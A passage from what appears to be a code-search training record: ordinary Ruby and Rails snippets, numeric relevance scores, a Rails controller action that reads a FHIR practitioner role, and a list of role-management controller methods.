"def compute_score\n\n total_score=0\n total_weights=0\n self.class.field_mappings.each do |field_name,field_config|\n if !field_config[:weight].blank?\n total_score += field_config[:weight].to_f * (self.class.blank_value?(self.send(field_name)) ? 0 : 1) # if the field is blank, it is a 0 regardless of weight, otherwise it is a 1 times its weight\n total_weights += field_config[:weight].to_f\n end\n end\n\n return ((total_score/total_weights)*100).ceil\n\n end",
"def hp_rate\r\n @hp.to_f / mhp\r\n end",
"def apply_fees\n remove_fees\n unless waive_fees\n #CHALKLE\n self.chalkle_gst_number = Finance::CHALKLE_GST_NUMBER\n self.chalkle_fee = course.chalkle_fee_no_tax\n self.chalkle_gst = course.chalkle_fee_with_tax - chalkle_fee\n \n self.processing_fee = course.processing_fee\n self.processing_gst = course.processing_fee*3/23\n self.processing_fee = course.processing_fee-self.processing_gst\n\n #TEACHER FEE\n if provider_pays_teacher?\n self.teacher_fee = 0\n self.teacher_gst = 0\n else\n if fee_per_attendee?\n self.teacher_fee = course.teacher_cost\n elsif flat_fee?\n confirmed_booking_count = course.bookings.fees_not_waived.paid.confirmed.count\n if confirmed_booking_count > 0\n self.teacher_fee = course.teacher_cost / confirmed_booking_count\n else\n self.teacher_fee = course.teacher_cost\n end\n end\n end\n\n #TEACHER TAX\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst_number = course.teacher.tax_number\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n else\n self.teacher_gst = 0\n self.teacher_gst_number = nil\n end\n\n #PROVIDER\n self.provider_fee = course.provider_fee\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n\n #adjust in case calc_cost is not course cost, should only happen if flat_fee\n difference = course.cost - calc_cost\n if difference != 0\n self.provider_fee = course.provider_fee + difference\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n end\n\n #adjust in case payment has been made already\n difference = cost - calc_cost\n if difference != 0\n #adjust processing_fee\n self.processing_fee = cost * course.provider_plan.processing_fee_percent\n self.processing_gst = self.processing_fee*3/23\n self.processing_fee = self.processing_fee-self.processing_gst\n\n #reset difference to adjust for processing_fee changes\n difference = cost - calc_cost\n\n #if payment exists then adjust provider fee to ensure the payment amount matches calc_cost\n adjustment_for_provider = difference\n adjustment_for_teacher = 0\n\n if provider_fee+provider_gst+difference < 0\n #if adjusted provider_fee is negative then deduct that negative amount from teacher_fee and make provider_fee 0\n adjustment_for_teacher = provider_fee+provider_gst+difference \n self.provider_fee = 0\n self.provider_gst = 0\n else\n self.provider_fee = provider_fee+provider_gst+adjustment_for_provider\n if provider.tax_registered?\n self.provider_gst = provider_fee*3/23\n self.provider_fee = provider_fee - provider_gst\n end\n end\n \n if adjustment_for_teacher != 0\n self.teacher_fee = teacher_fee+teacher_gst+adjustment_for_teacher\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n end\n end\n end\n end\n cost\n end",
"def calculate_specialty_points_average(wrestler)\n\t\n\t\ts_hash = get_specialty_hash(wrestler)\n\t\ts_points_hash = s_hash.select { |k,v| k.to_s.include?(\"_points\")}\n\n\t\ts_points = 0\n\n\t\ts_points_hash.each { |k,v| \n\t\t\ts_points += v\n\n\t\t}\n\t\treturn s_points/6.to_f\n\tend",
"def in_fahrenheit\n if @type == :f\n @temp\n else\n ((@temp.to_f * 9.0)/5.0) + 32.0\n end\n end",
"def percentage_of_passives\n calculator.percentage_of_passives\n end",
"def generate_harder_value(rnd_obj, _)\n # generate from the top 70% upwards\n min, max = fetch_min_max_values\n diff = max-min\n top_seventy_percent = 0.7 * diff\n @value = rnd_obj.rand(Integer(top_seventy_percent)..max)\n end",
"def quality\n return PRECISE unless within_range?\n return ULTRA_PRECISE if standard_deviation < 3.0\n return VERY_PRECISE if standard_deviation < 5.0\n PRECISE\n end",
"def present_given_future(future_value, interest, term)\n (future_value.to_f / (1 +interest.to_f) ** term).round(4)\n end",
"def calc_draft_probs_fo(fo,n_teams = 30)\n ###fo means finishing order\n ###pick means draft order\n\n probs_fo = {}\n probs_pick = {}\n (1..n_teams).each{|fo| probs_fo[fo] = 0;probs_pick[fo] = 0}\n probs_fo[fo] = 1\n\n fn_fo = TF1.new(\"fn_fo\",\"gaus\")\n\n if (fo <= 14)\n (1..14).each{|pick| probs_pick[pick] += (probs_fo[fo]*$lottery_odds[fo][pick-1])}\n elsif fo > 14\n probs_pick[fo] = probs_fo[fo]#.to_N(5)\n end\n\n return probs_pick\nend",
"def calc_potential_buses_fueled(val1= calc_upg_ch4, val2= 27500)\n\t\t(val1 / val2).round 1\n\tend",
"def calc_contribution(f)\n each_class do |k|\n b, d = get_B(f, k), get_D(f, k)\n \n s = 0.0\n x = b+d\n \n s = d/x if not x.zero?\n \n set_feature_score(f, k, s)\n end\n end",
"def number_f=(value)\n @number_f = value\n end",
"def ret_f\n result = 0.0\n func = get_func(Fiddle::TYPE_FLOAT)\n if func\n result = func.call(*@args).to_f\n end\n result\n end",
"def fees\n @fees ||= {\n \"insurance_fee\" => (commission * ASSURANCE_SHARE).round(0),\n \"assistance_fee\" => (ASSISTANCE_COST * rental.duration).round(0)\n }.tap { |fees| fees[\"drivy_fee\"] = commission - fees.values.inject(:+) }\n end",
"def calc_FPKM(weight_per_kb, total_num_read)\n\treturn weight_per_kb * 1_000_000 / total_num_read\nend",
"def tfullness\n ttaken.to_f/tlimit.to_f\n end",
"def get_pdf(x) \n return @pdf_factor * (1.0 + (x**2.0) / @dof)**(-(@dof+1.0)/2.0)\n end",
"def efective_given_nominal_anticipated(nominal_rate, term)\n (((1/((1-((nominal_rate.to_f/100)/term))**term))-1)*100).round(4)\n end"
] | [
"0.6240372",
"0.6228662",
"0.6042909",
"0.59502393",
"0.59360594",
"0.5899151",
"0.58332646",
"0.58183885",
"0.580707",
"0.56314766",
"0.55448127",
"0.5517625",
"0.5503823",
"0.5485083",
"0.54778224",
"0.54732966",
"0.5448831",
"0.54374516",
"0.54349446",
"0.54298985",
"0.5409298",
"0.5408415",
"0.54047304",
"0.5395871",
"0.5390159",
"0.53702545",
"0.5342699",
"0.53419197",
"0.5332967",
"0.5325687",
"0.53247184",
"0.53244483",
"0.53199726",
"0.52720106",
"0.52682924",
"0.52676094",
"0.5262615",
"0.52318096",
"0.5223788",
"0.52199733",
"0.521641",
"0.5212954",
"0.52004886",
"0.5196657",
"0.5181611",
"0.5180224",
"0.5168997",
"0.51674366",
"0.51674366",
"0.5162479",
"0.51603895",
"0.5157533",
"0.5156538",
"0.51556766",
"0.515017",
"0.5142257",
"0.51407343",
"0.51361096",
"0.5135512",
"0.5131769",
"0.5131131",
"0.5126562",
"0.5106272",
"0.5106068",
"0.50997746",
"0.5099531",
"0.50936085",
"0.50913507",
"0.5071353",
"0.5066907",
"0.5060274",
"0.50583017",
"0.50450236",
"0.5044752",
"0.5029464",
"0.50290895",
"0.50290585",
"0.5025242",
"0.50231713",
"0.50218236",
"0.50151",
"0.5014031",
"0.50137657",
"0.5008674",
"0.500742",
"0.5003477",
"0.49998015",
"0.49979752",
"0.49910122",
"0.49895787",
"0.4987353",
"0.49790773",
"0.49747893",
"0.49715516",
"0.49674752",
"0.49669287",
"0.49622354",
"0.495649",
"0.49551806",
"0.4954768"
] | 0.68583584 | 0 |
GET /practitioner_roles/1 GET /practitioner_roles/1.json | def show
fhir_client = SessionHandler.fhir_client(session.id)
fhir_practitionerRole = fhir_client.read(FHIR::PractitionerRole, params[:id]).resource
@practitioner_role = PractitionerRole.new(fhir_practitionerRole) unless fhir_practitionerRole.nil?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_user_roles\n @roles = @user.roles.pluck(:name)\n render json: @roles\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def list_review_roles\n\n @review_roles = Role.get_review_roles\n\n end",
"def index\n @roles = Rol.all\n end",
"def roles\n self.dig_for_array(\"roles\")\n end",
"def index\n @movie_roles = @movie.roles\n end",
"def roles\n response[\"roles\"]\n end",
"def GetRole id\n\n APICall(path: \"custom_roles/#{id}.json\")\n\n end",
"def roles_path\n @roles_path ||= '/api/v2/roles'\n end",
"def index\n client_application_id = current_user.client_application_id.to_s\n @roles = Role.where(client_application_id: client_application_id)\n end",
"def show\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def index\n @roles = Role.all\n end",
"def set_practitioner_role\n @practitioner_role = PractitionerRole.find(params[:id])\n end",
"def index\n @program_roles = ProgramRole.all\n end",
"def list\n # We don't use pagination here since we want to display the roles in a\n # nice tree. Additionally, there won't be more than ~100 roles in a\n # normal scenario anyway - far less!\n @roles = Role.find(:all)\n end",
"def role_data(id)\n @conn.get(\"/api/v1/roles/#{id}\")\n end",
"def index\n authorize Role\n @roles = Role.all\n end",
"def roles\n roles_from_users\n end",
"def roles!(access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :GET\n request[:path] = '/mgmt/{{client_id}}/roles'\n end.execute!\n\n json[:roles]\n end",
"def index\n @roles = System::Role.all\n end",
"def list\n\n @roles = Role.find(:all, :order => 'name')\n\n end",
"def roles\n client.user_roles(id)\n end",
"def roles\n client.user_roles(id)\n end",
"def index\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end",
"def index\n\t\tparamsr\n\t\tglobal\n\t\t# render json: @roles, each_serializer: RoleSerializer, root: false\n\tend",
"def getRole\n @users = User.where(\"role = ?\", params[:role]).NameOrder\n render json: @users\n end",
"def roles(options = {})\n headers = extract_headers!(options)\n json = client.list(\"/v1/auth/approle/role\", options, headers)\n return Secret.decode(json).data[:keys] || []\n rescue HTTPError => e\n return [] if e.code == 404\n raise\n end",
"def role_select\n @@Roles.list\n end",
"def claims\n get_all_roles\n end",
"def claims\n get_all_roles\n end",
"def index\n @team_user_roles = TeamUserRole.all\n end",
"def index\n @roles = policy_scope(Role).page(pagination[:page]).per(pagination[:per])\n end",
"def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end",
"def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end",
"def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end",
"def show\n @role = Role.includes(:personal_roles => :person).find_by_slug!(params[:id])\n respond_to do |format|\n format.html\n format.json { render :json => @role }\n end\n end",
"def get(\n id,\n deadline: nil\n )\n return @roles.get(\n id,\n deadline: deadline,\n )\n end",
"def index\n @roles = @client.roles\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @roles }\n end\n end",
"def index\n @titan_roles = TitanRole.all\n end",
"def index\n @users_roles = UsersRole.all\n end",
"def role(name)\n json = client.get(\"/v1/auth/approle/role/#{encode_path(name)}\")\n return Secret.decode(json)\n rescue HTTPError => e\n return nil if e.code == 404\n raise\n end",
"def index\n @user_roles = UserRole.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def rbac_role_resource\n url_for(:roles_role, credentials, id) \n end",
"def index\n @app_roles = AppRole.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_roles }\n end\n end",
"def index\n @roles_assignments = RolesAssignment.all\n end",
"def show\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def show\n if can?(:read, User)\n @user = User.find(params[:id])\n @roles = \"\"\n\n @user.roles.each do |role|\n if @roles == \"\"\n @roles += role.name\n else\n @roles += \", \" + role.name\n end\n end\n end\n\n respond_to do |format|\n format.json { render :json => @user }\n format.xml { render :xml => @user }\n format.html \n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end",
"def index\n @team_roles = TeamRole.where(lab: @lab)\n end",
"def index\n @tech_roles = TechRole.all\n end",
"def show\n render json: @role\n end",
"def show\n @lab_role = LabRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_role }\n end\n end",
"def index\n @required_roles = RequiredRole.all\n end",
"def index\n @org_roles = OrgRole.all\n end",
"def show\n @role = Role.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end",
"def my_roles(user)\n user.roles & self.design_review_results.collect { |drr| drr.role }\n end",
"def get_authorization_roles_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuthorizationApi.get_authorization_roles ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/authorization/roles\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'sortBy'] = opts[:'sort_by'] if opts[:'sort_by']\n query_params[:'expand'] = @api_client.build_collection_param(opts[:'expand'], :multi) if opts[:'expand']\n query_params[:'nextPage'] = opts[:'next_page'] if opts[:'next_page']\n query_params[:'previousPage'] = opts[:'previous_page'] if opts[:'previous_page']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'permission'] = @api_client.build_collection_param(opts[:'permission'], :multi) if opts[:'permission']\n query_params[:'defaultRoleId'] = @api_client.build_collection_param(opts[:'default_role_id'], :multi) if opts[:'default_role_id']\n query_params[:'userCount'] = opts[:'user_count'] if opts[:'user_count']\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrganizationRoleEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthorizationApi#get_authorization_roles\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @roles = record.roles.includes(:resource)\n render jsonapi: @roles, include: %i[users groups resource]\n end",
"def show\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def list\n @roles = Role.all(:include => [:groups, :users])\n end",
"def assignedRole\n id = params[:id] # retrieve project ID from URI route\n rolename = params[:rolename]\n proj = Project.find(id)\n role = Role.find_by(project_id: id)\n if proj.assigned_role(params[:username], rolename)\n head :no_content\n else\n render_error(:unprocessable_entity, \"Failed to assign a role\")\n end\n end",
"def get_roles(options = {})\n request_params = {\n per_page: options.fetch(:per_page, nil),\n page: options.fetch(:page, nil),\n include_totals: options.fetch(:include_totals, nil),\n name_filter: options.fetch(:name_filter, nil)\n }\n get roles_path, request_params\n end",
"def show\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permision }\n end\n end",
"def show(id = @id, user = @@default_user)\n @attributes = send_request(\"roles/#{id}\", :get) do |req|\n req.params = {\n auth_token: user.auth_token\n }\n end\n end",
"def index\n @roles = Role.all\n \n respond_to do |format|\n format.html { render :layout => 'application' } # use client application's layout\n format.xml { render :xml => @roles }\n end\n end",
"def get(\n id,\n deadline: nil\n )\n req = V1::RoleGetRequest.new()\n if not @parent.snapshot_time.nil?\n req.meta = V1::GetRequestMetadata.new()\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.id = (id)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.get(req, metadata: @parent.get_metadata(\"Roles.Get\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + [email protected](tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = RoleGetResponse.new()\n resp.meta = Plumbing::convert_get_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp.role = Plumbing::convert_role_to_porcelain(plumbing_response.role)\n resp\n end",
"def get_roles_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UserApi.get_roles ...'\n end\n # resource path\n local_var_path = '/api/3/roles'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ResourcesRole')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UserApi#get_roles\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end",
"def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end",
"def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end",
"def role\n @role\n end",
"def associated_roles\n data[:associated_roles]\n end",
"def associated_roles\n data[:associated_roles]\n end",
"def edit_users\n @user = User.find(params[:id])\n @role = @user.roles.first.name\n end",
"def index\n @roles = Role.page params[:page]\n end",
"def index\n @project_participants = ProjectParticipant.all\n @roles = ProjectParticipant.roles\n end",
"def index\n @player_roles = PlayerRole.all\n end",
"def startup_roles(id, options={})\n get(\"1/startups/#{id}/roles\", options)\n end",
"def test_role_features\n\n # get members of role with guid 4\n get '/role/3/members'\n assert (last_response.status == 200), \"Get all members of role id 3: response is not 200\"\n\n # get available role attributes\n get '/role/attributes'\n assert (last_response.body.size > 50), \"Get available role attributes: response to small for valid data\"\n\n # get all roles\n get '/role'\n assert (last_response.body.size > 50), \"Get all roles: response to small for valid data\"\n\n # get role with guid \"3\"\n get '/role/3'\n assert (last_response.body.size > 50), \"Get role with id 3: response to small for valid data\"\n end",
"def list_roles(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListRoles'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :marker\n\t\t\targs[:query]['Marker'] = optional[:marker]\n\t\tend\n\t\tif optional.key? :max_items\n\t\t\targs[:query]['MaxItems'] = optional[:max_items]\n\t\tend\n\t\tself.run(args)\n\tend",
"def index\n @sulabh_user_roles = SulabhUserRole.all\n end",
"def index\n if current_user.rol == 1\n @roles = Role.order(:id)\n @role = Role.new\n else\n @mensaje = \"Seccion solo para administrador\"\n end\n end",
"def index\n @game_play_roles = GamePlayRole.all\n end",
"def index\n @profile_roles = ProfileRole.all\n end",
"def display_all_roles\n # Interface method\n end",
"def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end",
"def practitioner_role_params\n params.fetch(:practitioner_role, {})\n end",
"def edit\n @user = User.find(params[:id])\n if can?(:update, @user)\n @roles = \"\"\n\n @user.roles.each do |role|\n if @roles == \"\"\n @roles += role.name\n else\n @roles += \", \" + role.name\n end\n end\n else\n @user = nil\n end\n\n respond_to do |format|\n format.json { render :json => @user } \n format.xml { render :xml => @user }\n format.html\n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end",
"def show\n @role = Role.find_by_name(params[:name])\n @role_authorities = @role.authorities\n \n respond_to do |format|\n format.html { render :layout => 'application' } # use client application's layout\n format.xml { render :xml => @role }\n end\n end",
"def index\n @ministerial_roles = MinisterialRole.all\n end",
"def permitted_roles privilege\n result = JSON.parse url_for(:resources_permitted_roles, credentials, id, privilege).get\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n result\n end\n end",
"def load_resource\n @role = Role.find(params[:id])\n end",
"def index\n @roles = Role.page params[:page]\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles}\n end\n end",
"def vacancies\n roles.vacant\n end",
"def edit\n @user = User.find(params[:id],include: :roles)\n @roles = Role.all\n respond_to do |format|\n format.html\n end\n end",
"def edit_role\n @user = User.find(params[:id])\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user }\n end\n end"
] | [
"0.7148923",
"0.69656235",
"0.69045115",
"0.6896062",
"0.6893342",
"0.68868226",
"0.68265414",
"0.68049127",
"0.67952406",
"0.67867637",
"0.6741731",
"0.66810405",
"0.66810405",
"0.66810405",
"0.66810405",
"0.66810405",
"0.66810405",
"0.66556484",
"0.6647469",
"0.66472316",
"0.66282487",
"0.6596237",
"0.65906817",
"0.6586509",
"0.6574434",
"0.6565932",
"0.65509975",
"0.65509975",
"0.6527461",
"0.6490304",
"0.646504",
"0.645385",
"0.6446724",
"0.6418693",
"0.6418693",
"0.6381881",
"0.63782823",
"0.6366438",
"0.6363419",
"0.6363239",
"0.6362137",
"0.6353498",
"0.6350342",
"0.6340463",
"0.6338776",
"0.6328274",
"0.6322378",
"0.63216287",
"0.63194263",
"0.6316046",
"0.6313332",
"0.6305547",
"0.62977755",
"0.62977034",
"0.6295389",
"0.628392",
"0.62805676",
"0.6256253",
"0.62539226",
"0.6233267",
"0.62297547",
"0.62295204",
"0.62247884",
"0.62236124",
"0.622262",
"0.6221357",
"0.6219795",
"0.6216396",
"0.6215903",
"0.62024605",
"0.61917907",
"0.6182755",
"0.6182755",
"0.6182755",
"0.61723787",
"0.61656857",
"0.61656857",
"0.61642766",
"0.61597365",
"0.6156622",
"0.6151769",
"0.61378604",
"0.6136757",
"0.61331195",
"0.61217487",
"0.61217314",
"0.6115742",
"0.6110748",
"0.6099197",
"0.60815287",
"0.6080479",
"0.60700727",
"0.60675144",
"0.60670793",
"0.60662377",
"0.60651785",
"0.60591817",
"0.60561717",
"0.60551846",
"0.6049707"
] | 0.68669116 | 6 |
POST /practitioner_roles POST /practitioner_roles.json | def create
@practitioner_role = PractitionerRole.new(practitioner_role_params)
respond_to do |format|
if @practitioner_role.save
format.html { redirect_to @practitioner_role, notice: 'Practitioner role was successfully created.' }
format.json { render :show, status: :created, location: @practitioner_role }
else
format.html { render :new }
format.json { render json: @practitioner_role.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_role(role)\n role = {\n \"id\"=>nil,\n \"name\"=>nil, \n \"description\"=>\"\", \n \"sessionTimeout\"=>\"60\",\n \"roles\"=>[],\n \"privileges\"=>[]\n }.merge(role);\n post(\"#{url_base}/roles\", {\"data\"=>role})[\"data\"]\n end",
"def CreateRole params = {}\n \n APICall(path: 'custom_roles.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n abilities = []\n client_application = current_user.client_application_id.to_s\n @abilities = Role.get_method_names.sort\n @role = Role.new(role_params)\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n @role.client_application_id = client_application\n respond_to do |format|\n if @role.save\n format.html { redirect_to roles_path, notice: 'Role was successfully created.' }\n format.json { render :index, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n chef_server_rest.post(\"roles\", self)\n self\n end",
"def create_roles\n Role.create_roles(self)\n end",
"def create\n if !grant_access(\"edit_roles\", current_user)\n head(403)\n end\n @role = Role.new(role_params)\n @role.user_id = current_user.id\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_roles user\n user.add_role(params[:role_name])\n end",
"def set_practitioner_role\n @practitioner_role = PractitionerRole.find(params[:id])\n end",
"def create\n @team_role = TeamRole.new(team_role_params)\n\n respond_to do |format|\n if @team_role.save\n format.html { redirect_to lab_team_roles_path(@lab), notice: 'Team role was successfully created.' }\n format.json { render action: 'show', status: :created, location: @team_role }\n else\n format.html { render action: 'new' }\n format.json { render json: @team_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_roles\n ['admin', 'lector', 'jefe_calidad', 'jefe_bodega', 'op_bodega'].each do |role_name|\n Role.create!(name: role_name)\n end\nend",
"def create\n\n @user = User.new(params[:user])\n tutorRole = Role.find_by_name('tutor')\n @user.roles = [ tutorRole ]\n @user.save\n success = @user.save && @user.errors.empty?\n errors = @user.errors\n if(success) \n @tutor = Tutor.new()\n @tutor.user_id = @user.id\n success = @tutor.save && @tutor.errors.empty? \n errors = @tutor.errors\n if(! success)\n @user.delete\n end\n end\n\n @user.roles << Role[:tutor]\n \n respond_to do |format|\n if success\n flash[:notice] = 'Tutor was successfully created.'\n format.html { redirect_to(@tutor) }\n format.xml { render :xml => @tutor, :status => :created, :location => @tutor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @role = @company.roles.new(safe_params)\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to [@company, @role], notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to admin_roles_path, notice: 'Role was successfully created.' }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if role.save\n current_user.add_role :admin, role\n format.html { redirect_to admin_role_path(role), notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: role }\n else\n format.html { render :new }\n format.json { render json: role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n respond_to do |format|\n if @client.roles << @role\n flash[:notice] = 'Role was successfully created.'\n format.html { redirect_to client_role_url(@client, @role) }\n format.xml { render :xml => @role, :status => :created, :location => [@client, @role] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params)\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def practitioner_role_params\n params.fetch(:practitioner_role, {})\n end",
"def create\n @role = Role.new(params[:role])\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @employees_role = EmployeesRole.create(employees_role_params)\n redirect_to employees_roles_path\n end",
